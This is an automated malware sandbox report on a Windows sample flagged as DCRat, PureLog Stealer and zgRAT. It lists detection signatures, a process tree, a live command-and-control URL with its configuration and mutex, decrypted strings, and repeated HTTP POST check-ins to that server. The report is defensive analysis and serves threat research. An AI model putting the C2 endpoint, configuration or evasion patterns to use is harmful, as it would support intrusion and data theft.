Edit tour

Windows Analysis Report
6G8OR42xrB.exe

Overview

General Information

Sample name:	6G8OR42xrB.exe renamed because original name is a hash value
Original sample name:	B9C8DEE5E0470B21D27B1A70AFE25495.exe
Analysis ID:	1579272
MD5:	b9c8dee5e0470b21d27b1a70afe25495
SHA1:	955aebc905591be2c45fb95ac689374552455b58
SHA256:	04069d6dc8c9b79d04e96c9cd2950a374abe0c2604110c27227f60a851da123d
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Drops PE files to the user root directory

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

6G8OR42xrB.exe (PID: 7288 cmdline: "C:\Users\user\Desktop\6G8OR42xrB.exe" MD5: B9C8DEE5E0470B21D27B1A70AFE25495)

cmd.exe (PID: 7416 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FAUFRY6lcW.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7476 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7492 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

roKDGeHYZcczQzeuqXqYGYyw.exe (PID: 7636 cmdline: "C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe" MD5: B9C8DEE5E0470B21D27B1A70AFE25495)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://895157cm.nyashteam.ru/videogeoflowertestuniversaldleLocalCentral", "MUTEX": "DCR_MUTEX-SkRAUqn5wWh3KdO4xV46", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
6G8OR42xrB.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
6G8OR42xrB.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\dllhost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\Default\dllhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\dllhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\Default\dllhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000006.00000002.2943874240.0000000002EFD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000000.1694048075.0000000000532000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000006.00000002.2943874240.0000000002B39000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000002.1784811145.0000000012B01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: 6G8OR42xrB.exe PID: 7288	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: roKDGeHYZcczQzeuqXqYGYyw.exe PID: 7636	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.6G8OR42xrB.exe.530000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.6G8OR42xrB.exe.530000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\6G8OR42xrB.exe, ProcessId: 7288, TargetFilename: C:\Users\Default User\dllhost.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T11:07:31.040709+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49734	172.67.186.200	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 6G8OR42xrB.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\atXTKUBx.log	Avira: detection malicious, Label: TR/Agent.jbwuj
Source: C:\Users\Default\dllhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\Users\user\Desktop\PNcvFrhU.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\UoIjEQAs.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\BjHNOjmt.log	Avira: detection malicious, Label: HEUR/AGEN.1362695
Source: C:\Users\user\Desktop\JRkLjayM.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\AppData\Local\Temp\FAUFRY6lcW.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\Desktop\JVzVcMcg.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\PRxDqpeG.log	Avira: detection malicious, Label: HEUR/AGEN.1362695
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906

Found malware configuration

Source: 00000000.00000002.1784811145.0000000012B01000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://895157cm.nyashteam.ru/videogeoflowertestuniversaldleLocalCentral", "MUTEX": "DCR_MUTEX-SkRAUqn5wWh3KdO4xV46", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	ReversingLabs: Detection: 65%
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	ReversingLabs: Detection: 65%
Source: C:\Users\Default\dllhost.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\Desktop\DUneVxwm.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\JVzVcMcg.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\KSbdxLrb.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\QBgDqFdS.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\QxRtxTzz.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\UoIjEQAs.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\WDgcDXBE.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\atXTKUBx.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\fTDHJsUV.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\gmAsnAGl.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\hNSqvpFT.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\jKtyRpUO.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\jgLrfuER.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\lILYBbbX.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\lQurfKCd.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\nWChmqEK.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\oKGqYEAI.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\qDMpIHRR.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\rmOGvfrE.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\sKUgPnTy.log	ReversingLabs: Detection: 37%
Source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe	ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: 6G8OR42xrB.exe	ReversingLabs: Detection: 65%
Source: 6G8OR42xrB.exe	Virustotal: Detection: 56%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\Default\dllhost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\PNcvFrhU.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\KSbdxLrb.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\fTDHJsUV.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\LPClTLGW.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\UoIjEQAs.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\BjHNOjmt.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\JRkLjayM.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\YnWavzTi.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\PRxDqpeG.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\DUneVxwm.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\bZrIRyWp.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 6G8OR42xrB.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1784811145.0000000012B01000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-SkRAUqn5wWh3KdO4xV46","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
Source: 00000000.00000002.1784811145.0000000012B01000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://895157cm.nyashteam.ru/","videogeoflowertestuniversaldleLocalCentral"]]

Source: 6G8OR42xrB.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 6G8OR42xrB.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49734 -> 172.67.186.200:80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 336Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2288Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1728Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2288Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1728Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2288Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2288Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 249736Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2280Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
